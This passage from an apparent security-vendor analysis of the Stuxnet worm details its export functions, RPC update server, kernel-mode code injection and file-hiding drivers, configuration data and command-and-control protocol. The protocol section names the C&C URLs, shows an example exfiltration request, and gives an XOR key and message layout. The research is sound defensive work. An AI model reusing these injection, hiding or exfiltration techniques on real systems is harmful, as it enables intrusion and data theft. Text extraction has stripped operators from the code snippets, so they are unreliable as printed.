Stops and deletes the MrxCls service (kernel-mode driver) 4.
Stops and deletes the MrxNet service (kernel-mode driver) 5.
Deletes oem7A.PNF (the main module) 6.
Deletes mrxcls.sys (kernel-mode injector) 7.
Deletes mrxnet.sys (kernel-mode hider) 8.
Deletes mdmeric3.pnf 9.
Deletes mdmcpq3.pnf (Stuxnets configuration file) 10.
Deletes oem6C.PNF (file with tracing/debugging information).
Export 19 This function drops the following files, used to propagate through USB flash drives, into a specified location that it receives as a parameter: Copy of Shortcut to.lnk Copy of Copy of Shortcut to.lnk Copy of Copy of Copy of Shortcut to.lnk Copy of Copy of Copy of Copy of Shortcut to.lnk WTR4141.TMP WTR4132.TMP.
Export 22 This function is responsible for distributing of Stuxnet through the network by using vulnerabilities described in the section on Distribution (MS08-67 and MS10-061).
Also this function performs communication (sending and receiving updates) with instances of the worm on the other machines by RPC mechanism.
55 www.eset.com Export 24 This function performs modifications of the Bot Configuration Data.
Export 27 This function implements a component of Stuxnets RPC Server responsible for handling remote calls.
Export 28 This function exchanges information with the CC server.
It creates and sends the message to the CC server as described in the section Remote Communication Protocol.
When the message is ready it scans processes in the system to find iexplore.exe.
If this exists then it injects the main module into it and calls export function 29, passing the message as a parameter.
This function is responsible for performing actual data exchange with the CC server.
In the event that there is no iexplore.exe in the system, it calls this function from the address space of the default browser: it starts the default browser as a new process, injects into it the main module, and calls the function performing data exchange.
Figure 4.8  The Scheme for Sending Data Export 29 This function performs exchange of data with the CC server.
It receives the message to be sent as input.
Much of its functionality is described in the section on the Remote communication protocol.
Its purpose is to send data to the remote server and to receive a reply as a binary module that will be subsequently executed.
56 www.eset.com Export 31 This function performs the same actions as function number 9.
To build the dropper it can use either of the following sets of files: Dir\GracS\cc_alg.sav Dir\GracS\\db_log.sav Dir\GracS\\cc_tag.sav.
Or Dir\XUTILS\listen\XR000000.MDX Dir\XUTILS\links\S7P00001.DBF Dir\XUTILS\listen\S7000001.MDX.
Which set to use is specified as a parameter as well as Dir.
Export 32 This function is called from the services.exe process: otherwise, it wont be executed.
This function starts the RPC server to handle RPC calls made by Stuxnets user-mode components and creates a window that drops malicious files onto removable drives.
It registers a window class with the name  AFX64c313 and creates a window corresponding to the class created.
The window procedure of the class monitors WM_DEVICE_CHANGE messages sent when there is a change to the hardware configuration of a device or the computer.
The window procedure of the class handles only requests with wParam set to DBT_DEVICEARRIVAL.
These are sent when a device or removable media have been inserted and have become accessible (for instance, when a USB flash drive has been connected to the computer).
When this happens, depending on parameters of the configuration data, it can either drop malicious files on the drive, or remove them from there.
Moreover, configuration data also specify the minimum number of files that the removable drive should contain in order to perform infection.
4.1.7 RPC Server Stuxnet implements an RPC server to communicate with other instances of the worm over the network.
It uses the RPC mechanism to receive updates not only from the remote CC server but from other instances of the worm running on the infected machines in the network.
This feature adds flexibility as it is able to stay updated even without direct connection with CC server.
It requests the version of the worm installed on the remote machine, and if the remote machine is running a more recent version, the newer version is requested and installed on the requester machine.
The following figure illustrates the architecture of the server: 57 www.eset.com Figure 4.9  Architecture of Stuxnets RPC Server It consists of the two components: The first component is responsible for handling RPC calls from the local host, i.e.
from modules injected into process within the local system.
It is executed within the address space of the services.exe process The second component of the server performs handling RPC calls from remote hosts.
This component is executed within the address space of the process hosting one of the following services: netsvc, rpcss, browser.
Both components implement the same functions.
The first five function as outlined on the figure above are executed by local component only: when these functions are executed they determine which component calls them, and if it is the component responsible for handling remote calls, they make a call to the local component and exit.
This is indicated in the figure with arrows.
Stuxnets RPC Server implements the following procedures: RpcProc1  Returns the version of the worm RpcProc2  Loads a module passed as a parameter into a new process and executes specified exported function RpcProc3  Loads a module passed as a parameter into the address of the process executing this function and calls its exported function number 1 RpcProc4  Loads a module passed as a parameter into a new process and executes it RpcProc5  Builds the worm dropper RpcProc6  Runs the specified application RpcProc7  Reads data from the specified file RpcProc8  Writes data into the specified file RpcProc9  Deletes the specified file RpcProc10  Works with the files of which the names are intercepted by hooks set up in function number 2 and writes information in tracing file.
58 www.eset.com 4.1.8 Resources Here we will describe the resources of the main module.
According to X the module has 13 resources.
The following table summarizes information as to what it contains.
Table 4.1.2  Resources of the Main Module Resource ID Description 201 Kernel-mode driver (MrxCls.sys) responsible for injecting code into certain processes 202 A proxy dynamic link library 203 A .cab file with dynamic link library inside 205 Configuration data for MrxCls.sys 208 A dynamic link library  fake s7otbldx.dll (Siemens SCADA module) 209 Encrypted data file drop to WINDIR\help\winmic.fts 210 Template PE-file, used to construct dropper (WTR4132.TMP) 221 Module used for distribution of the worm by exploiting RPC vulnerability 222 Module used for distribution of the worm by exploiting MS10-061 vulnerability 240 .LNK file template, used to create .LNK files exploiting vulnerability 241 WTR4141.TMP  dynamic link library, used to load dropper (WTR4132.TMP) while infecting system 242 Kernel-mode driver (MrxNet.sys) responsible for concealing files exploiting LNK vulnerability and infecting system 250 Module used to escalate privileges by exploiting 0-day vulnerability in Win32k.sys 4.2 Kernel-mode functionality The worm has some rootkit functionality, as during infection of the system it drops and installs two kernel-mode drivers that allow it to hide files and inject code into process in the system: MrxCls.sys MrxNet.sys.
These modules are not packed or protected with any packer or protector.
Moreover these drivers are digitally signed.
Here are the digital certificates of the public keys corresponding to the private keys used to sign the drivers (we received samples signed with two different private keys).
59 www.eset.com Figure 4.10  Digital certificates Used to Verify Drivers Signatures After it was ascertained that the certificates were compromised, both were revoked by Verisign.
Variant drivers and compromised certificates have, however, been noted since.
Figure 4.11  Digital Certificates Revoked 60 www.eset.com 4.2.1 MRXCLS.sys 4.2.1.1 Encrypted data This driver is designated to inject code into the address space of the processes in the system.
It is registered in OS as a boot start service.
Thus it is loaded as early as possible in the OS boot process.
Some of its data are encrypted with a custom encryption algorithm.
If we decrypt them, we get the following string constants with the following meanings: Table 4.2.1  Decrypted String Constants Found in the Driver REGISTRY\MACHINE\SYSTEM\CurentControlSet\Services\MrxCls Name of the registry key that corresponds to the driver Data Name of the value of the registry key related to the driver \Device\MrxClsDvx Name of the device object that is created by the driver To be able to inject code it registers a special routine that is called each time a module is loaded in address space of a process by calling API function PsSetLoadImageNotifyRoutine.
4.2.1.2 Configuration data The driver holds configuration data that specify in which processes the code is to be injected.
The data are stored in drivers registry key with the value name presented in Table 4.2.1.
The data can also be stored in a file on disk: if the driver failed for some reason to read the configuration data from registry, it reads it from the file, if any exists.
Here is configuration data found on an infected machine: Figure 4.12  The configuration data of the driver As we can see from the figure, these data specify what modules should be injected by the driver into the address spaces of certain processes.
For instance, here we see that in processes in which executables 61 www.eset.com have the names services.exe, S7tgtopx.exe and CCProjectMgr.exe, the driver injects a module stored in a file with the name \SystemRoot\inf\oem7A.PNF.
The configuration data also specify the name or ordinal number of the export of the injected module to be called.
For instance in this case, when oem7A.PNF will be loaded into the address spaces of the CCProjectMgr.exe or S7togtopx.exe, the exported function number 2 should be called.
In the case of services.exe the exported function with the ordinal 1 should be called.
If a process is debugged the driver doesnt perform an injection, and it determines whether the process is debugged by reading BeingDebugged field of the PEB structure related to the process.
4.2.1.3 Injector Here we briefly describe the injector.
It is not only capable of injecting modules into the address space of a process but is also able to stealthily call an exported function from the already injected modules.
The injection of a module is performed in three stages: 1.
Allocating memory in the address space of the target process and copying module and supplemental code into the newly allocated buffer 2.
Initializing supplemental data and code with import from kernel32.dll library, and overwriting the first bytes of the entry point of the process image 3.
Mapping the module to inject into the address space of the process, initializing import address table, fixing relocations, calling its entry point and restoring the original bytes of the image entry point.
Figure 4.13  Injecting a Module into Process Address Space Stage 1 When the process image is loaded into the address space of the process, the notification routine is called and the driver determines whether the process is debugged.
If it isnt, it looks in its configuration data to get the name of the module to inject.
Once it obtains the name of the module it allocates two buffers in the process, one for the module and another for supplemental code.
Then it sets memory 62 www.eset.com protection of the entry point region to PAGE_EXECUTE_WRITECOPY, a value which makes it writable.
In the following figure we can see a layout of the modules in the user-mode address space of the process: Figure 4.14  Layout of Modules and Buffers in User-Mode Address Space of a Process Prior to Loading kernel32.dll Library Stage 2 At the second stage, when the driver receives notification that kernel32.dll has been mapped into the address space of the process, it initializes import of the supplemental code from the loaded library and overwrites the first seven bytes of the entry point of the process image with the following commands: Figure 4.15  Patched entry point APIs exported by kernel32.dll and used by supplemental code are: VirtualAlloc, VirtualFree, GetProcAddress, GetModuleHandle, LoadLibraryA, LoadLibraryW, lstrcmp, lstrcmpi, GetVersionEx, DeviceIoControl.
The layout of the modules at this stage is presented on the following figure: Figure 4.16  Layout of Modules and Buffers in User-Mode Address Space of a Process after Loading kernel32.dll 63 www.eset.com Stage 3 At this stage, when the entry point of the application receives control it transfers to the entry point of the supplemental code, the purpose of which is to map the module and call its entry point.
When the work is finished it restores the original entry point and sets the memory protection value of the entry point region to its initial value.
Then it transfers control to the original entry point.
Figure 4.17  Layout of Modules and Buffers in User-Mode Address Space of a Process after Applications Entry Point is Called DeviceIoControl The driver creates a device object with the name specified in Table 4.2.1 and registers handlers for the following requests: IRP_MJ_CREATE IRP_MJ_CLOSE IRP_MJ_DEVICE_CONTROL.
The first two handlers do nothing but successfully complete IRP packet, while the third handler is used to dispatch control requests from an application.
When the created device object receives an IRP_MJ_DEVICE_CONTROL request with IOCTL equal to 0x223800 it changes memory protection of the region specified in the request parameters: 64 www.eset.com struct IOCTL_PARAMS  DWORD Signature  // Signature always set to 0xAFABF00D DWORD Reserved1 HANDLE hProcess  // Handle of the process DWORD Reserved2 void BaseAddress  // Base address of memory region DWORD Reserved3 DWORD RegionSize  // Size of the memory region DWORD Reserved4 DWORD NewProtection // New protection memory constant DWORD Reserved5  When supplemental code changes memory protection of the entry point it initializes this structure and passes it as a parameter to DeviceIoControl API.
4.2.2 MRXNET.sys The purpose of this driver is to hide files that are used to propagate the malware through USB drives.
It acts as a file system driver filter.
In the very beginning of its initialization it registers the FileSystemRegistrationChange routine enables it to attach to file systems available in the system, but it is interested only in ntfs, fat and cdfs file systems.
When a new file system is mounted the driver receives a notification, creates a device object and attaches it to the top of the device stack.
From then on the driver is able to monitor all the requests that are addressed to the file system.
It waits for an IRP_MJ_MOUNT_VOLUME request to arrive and attaches itself to the mounted volume to intercept requests related to operations with files and directories.
It creates DeviceObjects and attaches it to those device objects created by and corresponding to the specified file system drivers.
The driver hooks IRP_MJ_DIRECTORY_CONTROL requests addressed to the file systems it is attached to, enabling it to filter results from querying information about files and subdirectories.
This request is used to get information related to the directory, and in particular what files are located in the directory.
It hides the same files as WTR4141.tmp does: files with .LNK extension with a file length of 1471 (0x104b) bytes files with .TMP extension where the name consists of 12 characters (including extension) in the following format: WTRabcd.
TMP, where a,b,c,d are digits from 0 to 9 which sum modulo 10 equals 0 (WTR4411.TMP for example).
On receiving an IRP_MJ_DIRECTORY_CONTROL request it sets an IO completion routine that filters results of the request.
Depending on the control operation that is requested, the driver goes through the corresponding structure and deletes all entries matching the search criteria.
65 www.eset.com 4.3 Stuxnet Bot Configuration Data Stuxnet stores its encrypted configuration data (1860 bytes) in WINDIR\inf\mdmcpq3.pnf.
A decryption algorithm is presented in Appendix A.
These data contain information about: URLs of CC servers (see figure below) Activation time  the time and date after which the worm is active Deactivation time  the time after which the worm becomes inactive and deletes itself Version of the malware The minimum quantity of files that the removable drive should contain to drop malicious .LNK files successfully Other information about its propagation and functioning.
Figure 4.18  An Extract from the Configuration Data 66 www.eset.com 4.4 Remote Communication Protocol The malware communicates to the CC server through http.
A list of URLs is included in the Stuxnet configuration data of Stuxnet: www.windowsupdate.com www.msn.com www.mypremierfutbol.com www.todaysfutbol.com The first two URLs are used to check that the system has connection to the Internet, while the third and the fourth are URLs of CC servers.
If it fails to successfully establish connection with the remote host (www.windowsupdate.com) it stops sending data to the CC server.
When the malware confirms that the infected computer is connected to the Internet it sends an http request to the remote server.
Here is an example of the URL with data: http:// www.mypremierfutbol.com/index.php?datadata_to_send, where data_to_send is encrypted and encoded message.
It uses a custom encryption algorithm with a key length equal 31 bytes: // Encryption char Key[31]   0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 0x88, 0x5A, 0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1 // Encryption procedure void EncryptData(char Buffer, int BufferSize, char Key)  for (int i  0  i  BufferSize  i ) Buffer[i]  Key[i  31] return  The encrypted data are represented as a string of Unicode characters: each byte of the binary data is presented as 2 characters.
For instance, 0x7A96E2890 will be written as 7A96E2890 Unicode string.
The data to be sent have the following structure: 67 www.eset.com Figure 4.19  The Structure of the Data Sent to CC Server The first byte of the data is a hexadecimal constant 0x01, followed by 16 bytes of the malware configuration data.
The IP address of the host is the first non-loopback entry in the list of IPv4 addresses of the host sorted in the ascending order.
While preparing the data to be sent the malware gathers information about all the network adapters installed on the system by calling the GetAdaptersInfo API.
This includes: The adapter name The adapter description The hardware address of the adapter The list of IPv4 addresses associated with the adapter The IPv4 address of the gateway for the adapter The IPv4 address of the DHCP server for the adapter The IPv4 address of the primary WINS server The IPv4 address of the secondary WINS server The message field can be described with the following structure: struct STUXNET_CC_MESSAGE  BYTE Constant   // Set to 0x01 BYTE ConfigByte   // A BYTE of the configuration data BYTE OsVerMajor   // The major version number of the OS BYTE OsVerMinor   // The minor version number of the OS BYTE OsVerServicePackMajor  // The major version number of the service pack // installed on the system BYTE Reserved[3]   // padding DWORD ConfigDword   // A DWORD of the configuration data WORD CurrentACP   // Current ANSI code page identifier for the // system WORD OsVerSuitMask   // A bitmask identifying the product suites // available on the system BYTE Flags    // See reference bellow 68 www.eset.com char ComputerName[]         // NetBIOS name of the local computer char DomainName[]   // Name of the domain or workgroup the computer // is joined to if any char ConfigDataStr[]  // A string from configuration data  Figure 4.20  Description of the Flags Field in STUXNET_CC_MESSAGE Structure We can see that flags corresponding to the first and the last bits in the byte are unused.
Flags 1,4,5,6 are related to the configuration data of the malware.
Flag 2 signifies whether Stuxnet is active.
Flag 3 is set in case Stuxnet detects Siemens software installed on the infected machine, which it does by searching in the registry the following keys and values: Key  HKLM\SOFTWARE\SIEMENS\STEP7, value  STEP7_Version Key  HKLM\SOFTWARE\SIEMENS\WinCC\Setup, value  Version.
When the message is constructed, the malware encrypts it by XORing each byte with the hexadecimal constant 0xFF.
The malware receives a response from the CC server which is structured as follows: Figure 4.21  The Structure of the Response from the CC Server The first four bytes of the response store the size of the image in the received data: if image size plus 5 bytes isnt equal to the size of the received data, then Stuxnet stops parsing the response.
On receiving the response the malware loads the image and call its export with ordinal number 1.
The fifth byte of the response specifies exactly how it should be executed.
If this byte is set to 0x01, then an RPC function will be called and as a result the received image will be executed at the address of the process hosting Stuxnets RPC server.
If the fifth byte is zero, then the image will be loaded into the address space of this process and an export function numbered as 1 will be executed.
The following figure clarifies this mechanism: 69 www.eset.com Figure 4.22  Dispatching Received Data 70 www.eset.com Conclusion We conducted a detailed technical analysis of the worm Win32/Stuxnet, which currently is perhaps the most technologically sophisticated malicious program developed for a targeted attack to date.
We have not released extensive information here about injecting code into the SCADA system, as it deserves an independent discussion (and indeed, has been discussed at length by Langner).
This research was intended primarily as material for specialists in information security, showing how technology can be made use of in targeted attacks.
Thanks to everyone who finished reading our report until the end 71 www.eset.com Appendix A Further Coverage and Resources, in approximately chronological order: http://www.h-online.com/security/news/item/Trojan-spreads-via-new-Windows-hole- 1038992.html http://www.heise.de/newsticker/meldung/Trojaner-verbreitet-sich-ueber-neue-Windows- Luecke-1038281.html http://www.reconstructer.org/main.html http://it.slashdot.org/submission/1283670/Malware-Targets-Shortcut-Flaw-in-Windows-SCADA http://it.slashdot.org/story/10/07/15/1955228/Malware-Targets-Shortcut-Flaw-In-Windows- SCADA http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/ http://www.zdnet.co.uk/news/security/2010/07/16/spy-rootkit-goes-after-key-indian-iranian- systems-40089564/ http://www.msnbc.msn.com/id/38315572 http://www.reuters.com/article/idUSTRE66I5VX20100719 http://forums.cnet.com/5208-6132_102-0.html?messageID3341877 http://www.f-secure.com/weblog/archives/00001993.html http://news.softpedia.com/news/PoC-Exploit-Code-Available-for-Windows-LNK-Vulnerability- 148140.shtml http://www.computerworld.com/s/article/9179339/Windows_shortcut_attack_code_goes_pub lic?taxonomyId17pageNumber1 http://krebsonsecurity.com/2010/09/stuxnet-worm-far-more-sophisticated-than-previously- thought/ http://blog.eset.com/2010/08/04/assessing-intent http://www.google.com/hostednews/ap/article/ALeqM5h7lX0JoE1AGngQoEfWWmCM6THizQD 9HC86L80 http://www.dailytech.com/HackersTargetPowerPlantsandPhysicalSystems/article19257.
htm http://www.scmagazineus.com/keeping-hilfs-from-crashing-your-party/article/173975/ http://www.sans.org/newsletters/newsbites/newsbites.php?vol12issue74 http://www.computerworld.com/s/article/9185919/Is_Stuxnet_the_best_malware_ever_?taxo nomyId82 http://www.zdnet.co.uk/news/security-threats/2010/09/16/siemens-stuxnet-infected-14- industrial-plants-40090140/ http://www.h-online.com/security/news/item/Stuxnet-worm-can-control-industrial-systems- 1080751.html http://secunia.com/advisories/41525/ http://secunia.com/advisories/41471/ http://blogs.technet.com/b/msrc/ http://www.csoonline.com/article/614064/siemens-stuxnet-worm-hit-industrial-systemss http://krebsonsecurity.com/2010/07/microsoft-to-issue-emergency-patch-for-critical-windows- bug/ http://www.symantec.com/connect/blogs/stuxnet-breakthrough http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w 32_stuxnet_dossier.pdf http://www.langner.com/en/index.htm http://www.h-online.com/security/news/item/Trojan-spreads-via-new-Windows-hole-1038992.html http://www.h-online.com/security/news/item/Trojan-spreads-via-new-Windows-hole-1038992.html http://www.heise.de/newsticker/meldung/Trojaner-verbreitet-sich-ueber-neue-Windows-Luecke-1038281.html http://www.heise.de/newsticker/meldung/Trojaner-verbreitet-sich-ueber-neue-Windows-Luecke-1038281.html http://www.reconstructer.org/main.html http://it.slashdot.org/submission/1283670/Malware-Targets-Shortcut-Flaw-in-Windows-SCADA http://it.slashdot.org/story/10/07/15/1955228/Malware-Targets-Shortcut-Flaw-In-Windows-SCADA http://it.slashdot.org/story/10/07/15/1955228/Malware-Targets-Shortcut-Flaw-In-Windows-SCADA http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/ http://www.zdnet.co.uk/news/security/2010/07/16/spy-rootkit-goes-after-key-indian-iranian-systems-40089564/ http://www.zdnet.co.uk/news/security/2010/07/16/spy-rootkit-goes-after-key-indian-iranian-systems-40089564/ http://www.msnbc.msn.com/id/38315572 http://www.reuters.com/article/idUSTRE66I5VX20100719 http://forums.cnet.com/5208-6132_102-0.html?messageID3341877 http://www.f-secure.com/weblog/archives/00001993.html http://news.softpedia.com/news/PoC-Exploit-Code-Available-for-Windows-LNK-Vulnerability-148140.shtml http://news.softpedia.com/news/PoC-Exploit-Code-Available-for-Windows-LNK-Vulnerability-148140.shtml http://www.computerworld.com/s/article/9179339/Windows_shortcut_attack_code_goes_public?taxonomyId17pageNumber1 http://www.computerworld.com/s/article/9179339/Windows_shortcut_attack_code_goes_public?taxonomyId17pageNumber1 http://krebsonsecurity.com/2010/09/stuxnet-worm-far-more-sophisticated-than-previously-thought/ http://krebsonsecurity.com/2010/09/stuxnet-worm-far-more-sophisticated-than-previously-thought/ http://blog.eset.com/2010/08/04/assessing-intent http://www.google.com/hostednews/ap/article/ALeqM5h7lX0JoE1AGngQoEfWWmCM6THizQD9HC86L80 http://www.google.com/hostednews/ap/article/ALeqM5h7lX0JoE1AGngQoEfWWmCM6THizQD9HC86L80 http://www.dailytech.com/HackersTargetPowerPlantsandPhysicalSystems/article19257.htm http://www.dailytech.com/HackersTargetPowerPlantsandPhysicalSystems/article19257.htm http://www.scmagazineus.com/keeping-hilfs-from-crashing-your-party/article/173975/ http://www.sans.org/newsletters/newsbites/newsbites.php?vol12issue74 http://www.computerworld.com/s/article/9185919/Is_Stuxnet_the_best_malware_ever_?taxonomyId82 http://www.computerworld.com/s/article/9185919/Is_Stuxnet_the_best_malware_ever_?taxonomyId82 http://www.zdnet.co.uk/news/security-threats/2010/09/16/siemens-stuxnet-infected-14-industrial-plants-40090140/ http://www.zdnet.co.uk/news/security-threats/2010/09/16/siemens-stuxnet-infected-14-industrial-plants-40090140/ http://www.h-online.com/security/news/item/Stuxnet-worm-can-control-industrial-systems-1080751.html http://www.h-online.com/security/news/item/Stuxnet-worm-can-control-industrial-systems-1080751.html http://secunia.com/advisories/41525/ http://secunia.com/advisories/41471/ http://blogs.technet.com/b/msrc/ http://www.csoonline.com/article/614064/siemens-stuxnet-worm-hit-industrial-systemss http://krebsonsecurity.com/2010/07/microsoft-to-issue-emergency-patch-for-critical-windows-bug/ http://krebsonsecurity.com/2010/07/microsoft-to-issue-emergency-patch-for-critical-windows-bug/ http://www.symantec.com/connect/blogs/stuxnet-breakthrough http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf http://www.langner.com/en/index.htm 72 www.eset.com http://realtimeacs.com/?page_id65 http://realtimeacs.com/?page_id66 http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process http://www.virusbtn.com/conference/vb2010/programme/index http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler- vulnerability.aspx.
http://blog.eset.com/?sstuxnet http://frank.geekheim.de/?p1189 http://www.faz.net/s/RubCEB3712D41B64C3094E31BDC1446D18E/DocE8A0D43832567452FB DEE07A F579E893CATplEcommonScontent.html http://www.computerworld.com/s/article/9187300/Microsoft_confirms_it_missed_Stuxnet_pri nt_spooler_zero_day_20 http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-Irans- Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources- Say/Article/201011415827544?lposWorld_News_News_Your_Way_Region_5lidNewsYour Way_ARTICLE_15827544_Stuxnet_Worm3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_H ands_Of_Bad_Guys2C_Sky_News_Sources_Say http://news.sky.com/skynews/Home/video/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear- Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Video/201011415828645 http://www.bbc.co.uk/news/technology-11795076 http://www.thinq.co.uk/2010/11/25/stuxnet-worm-hits-black-market/ http://nakedsecurity.sophos.com/2010/11/25/stuxnet-scared-of-shadows/ http://thompson.blog.avg.com/2010/11/comment-on-stuxnet-and-more-windows-0-days.html http://en.wikipedia.org/wiki/Stuxnet http://www.msnbc.msn.com/id/3036697/40280338 http://www.itproportal.com/2010/11/25/microsoft-reveals-code-vulnerable-stuxnet/ http://www.eweek.com/c/a/Security/Exploit-Code-for-Windows-Zeroday-Targeted-by-Stuxnet- Goes-Public-406413/ http://www.exploit-db.com/exploits/15589/ http://blogs.protegerse.com/laboratorio/2010/11/24/publicado-el-codigo-de-otra-de-las- vulnerabilidades-usadas-en-stuxnet/ http://www.v3.co.uk/v3/news/2273495/stuxnet-black-market-sky-news http://www.f-secure.com/weblog/archives/00002040.html http://www.facebook.com/notes/eset-ireland/cyberthreats-daily-facebook-infested-with-new- with-new-worm-stuxnet-hype/10150130942127788 http://af.reuters.com/article/energyOilNews/idAFLDE6AS1L120101129 http://go.theregister.com/i/cfh/http://www.theregister.co.uk/2010/11/29/stuxnet_stuxnet/ http://www.h-online.com/security/news/item/Report-Stuxnet-code-being-sold-on -black-market-1142866.html http://www.microsoft.com/technet/security/bulletin/MS10-dec.mspx http://blogs.forbes.com/firewall/2010/12/14/stuxnets-finnish-chinese-connection/more-2513 http://taiaglobal.com/?attachment_id81 http://www.darkreading.com/vulnerability-management/167901026/security/attacks- breaches/228800582/china-likely-behind-stuxnet-attack-cyberwar-expert-says.html http://www.infracritical.com/papers/stuxnet-timeline.txt http://www.vimeo.com/18225315 http://realtimeacs.com/?page_id65 http://realtimeacs.com/?page_id66 http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process http://www.virusbtn.com/conference/vb2010/programme/index http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx http://blog.eset.com/?sstuxnet http://frank.geekheim.de/?p1189 http://www.faz.net/s/RubCEB3712D41B64C3094E31BDC1446D18E/DocE8A0D43832567452FBDEE07A http://www.faz.net/s/RubCEB3712D41B64C3094E31BDC1446D18E/DocE8A0D43832567452FBDEE07A http://www.faz.net/s/RubCEB3712D41B64C3094E31BDC1446D18E/DocE8A0D43832567452FBDEE07A http://www.computerworld.com/s/article/9187300/Microsoft_confirms_it_missed_Stuxnet_print_spooler_zero_day_ http://www.computerworld.com/s/article/9187300/Microsoft_confirms_it_missed_Stuxnet_print_spooler_zero_day_ http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Article/201011415827544?lposWorld_News_News_Your_Way_Region_5lidNewsYourWay_ARTICLE_15827544_Stuxnet_Worm3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_Hands_Of_Bad_Guys2C_Sky_News_Sources_Say http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Article/201011415827544?lposWorld_News_News_Your_Way_Region_5lidNewsYourWay_ARTICLE_15827544_Stuxnet_Worm3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_Hands_Of_Bad_Guys2C_Sky_News_Sources_Say http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Article/201011415827544?lposWorld_News_News_Your_Way_Region_5lidNewsYourWay_ARTICLE_15827544_Stuxnet_Worm3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_Hands_Of_Bad_Guys2C_Sky_News_Sources_Say http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Article/201011415827544?lposWorld_News_News_Your_Way_Region_5lidNewsYourWay_ARTICLE_15827544_Stuxnet_Worm3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_Hands_Of_Bad_Guys2C_Sky_News_Sources_Say http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Article/201011415827544?lposWorld_News_News_Your_Way_Region_5lidNewsYourWay_ARTICLE_15827544_Stuxnet_Worm3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_Hands_Of_Bad_Guys2C_Sky_News_Sources_Say http://news.sky.com/skynews/Home/video/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Video/201011415828645 http://news.sky.com/skynews/Home/video/Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Video/201011415828645 http://www.bbc.co.uk/news/technology-11795076 http://www.thinq.co.uk/2010/11/25/stuxnet-worm-hits-black-market/ http://nakedsecurity.sophos.com/2010/11/25/stuxnet-scared-of-shadows/ http://thompson.blog.avg.com/2010/11/comment-on-stuxnet-and-more-windows-0-days.html http://en.wikipedia.org/wiki/Stuxnet http://www.msnbc.msn.com/id/3036697/40280338 http://www.itproportal.com/2010/11/25/microsoft-reveals-code-vulnerable-stuxnet/ http://www.eweek.com/c/a/Security/Exploit-Code-for-Windows-Zeroday-Targeted-by-Stuxnet-Goes-Public-406413/ http://www.eweek.com/c/a/Security/Exploit-Code-for-Windows-Zeroday-Targeted-by-Stuxnet-Goes-Public-406413/ http://www.exploit-db.com/exploits/15589/ http://blogs.protegerse.com/laboratorio/2010/11/24/publicado-el-codigo-de-otra-de-las-vulnerabilidades-usadas-en-stuxnet/ http://blogs.protegerse.com/laboratorio/2010/11/24/publicado-el-codigo-de-otra-de-las-vulnerabilidades-usadas-en-stuxnet/ http://www.v3.co.uk/v3/news/2273495/stuxnet-black-market-sky-news http://www.f-secure.com/weblog/archives/00002040.html http://www.facebook.com/notes/eset-ireland/cyberthreats-daily-facebook-infested-with-new-worm-stuxnet-hype/10150130942127788 http://www.facebook.com/notes/eset-ireland/cyberthreats-daily-facebook-infested-with-new-worm-stuxnet-hype/10150130942127788 http://www.facebook.com/notes/eset-ireland/cyberthreats-daily-facebook-infested-with-new-worm-stuxnet-hype/10150130942127788 http://www.facebook.com/notes/eset-ireland/cyberthreats-daily-facebook-infested-with-new-worm-stuxnet-hype/10150130942127788 http://go.theregister.com/i/cfh/http:/www.theregister.co.uk/2010/11/29/stuxnet_stuxnet/ http://www.h-online.com/security/news/item/Report-Stuxnet-code-being-sold-on http://www.h-online.com/security/news/item/Report-Stuxnet-code-being-sold-on http://www.h-online.com/security/news/item/Report-Stuxnet-code-being-sold-on http://www.h-online.com/security/news/item/Report-Stuxnet-code-being-sold-on http://blogs.forbes.com/firewall/2010/12/14/stuxnets-finnish-chinese-connection/more-2513 http://taiaglobal.com/?attachment_id81 